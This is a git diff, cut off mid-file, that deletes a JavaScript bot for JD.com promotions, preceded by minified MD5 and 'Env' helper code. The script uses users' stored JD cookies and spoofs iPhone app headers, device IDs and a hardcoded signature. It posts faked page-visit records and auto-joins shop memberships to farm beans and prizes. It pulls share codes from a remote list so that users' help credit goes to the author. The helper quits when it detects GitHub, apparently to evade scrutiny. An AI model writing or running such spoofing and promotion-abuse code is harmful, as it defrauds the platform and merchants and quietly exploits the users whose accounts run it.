1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_dapai.js b/backUp/jd_lzdz1_dapai.js deleted file mode 100644 index b63e630..0000000 --- a/backUp/jd_lzdz1_dapai.js +++ /dev/null @@ -1,586 +0,0 @@ -/* -大牌强联合 好物提前购 - -https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=dz2021101420000sjleowq&shareUuid=d259bceb218e40af9490693e8f48a370 -*/ -const $ = new Env("大牌强联合 好物提前购"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_dapai.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - 'd259bceb218e40af9490693e8f48a370', - ] - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = 'dz2021101420000sjleowq' - $.activityShopId = '1000221763' - $.activityUrl = `https://lzdz1-isv.isvjd.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await marry(); - await $.wait(3000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function marry() { - $.log('那就开始吧。') - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - $.log("->关注店铺") - if ($.shopTask) { - if (!$.shopTask.allStatus) { - await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) - } else { - $.log(" >>>已经关注过了\n") - await $.wait(2000) - return - } - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加入店铺会员") - if ($.openCardStatus) { - for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { - $.log("模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000221763&pageId=dz2021101420000sjleowq&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - t1TaskList = [] - $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) - t2TaskList = [] - $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) - if (t1TaskList.length < 1) { - console.log(" >>>已经完成入会任务") - - } else { - for (const vo of t1TaskList) { - $.log(` >>>去加入${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - for (const vo of t2TaskList) { - $.log(` >>>${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - } - - await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) - - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加购物车") - await task("dz/openCard/saveTask", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&type=2&taskValue=100025232454`) - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'wxActionCommon/getUserInfo': - break; - case 'dz/openCard/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log(ownCode) - } - $.actorUuid = data.data.actorUuid; - $.skuTask = data.data.addSku; - $.shopTask = data.data.followShop; - } else { - $.log("活动已经结束"); - } - break; - case 'dz/openCard/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'dz/openCard/saveTask': - console.log(data.data.addBeanNum) - break; - case 'dz/openCard/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - case 'dz/openCard/startDraw': - if (data.data.drawOk) { - switch (data.data.drawInfo.type) { - case 6: - $.bean += data.data.drawInfo.beanNum; - $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) - break; - default: - if ($.isNode()) { - await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } else { - $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } - break; - } - } - break; - case 'crm/pageVisit/insertCrmPageVisit': - $.log("==> 上报成功") - - case 'dz/openCard/followShop': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjd.com/${function_id}` : `https://lzdz1-isv.isvjd.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjd.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjd.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjd.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjd.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjd.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - // $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": 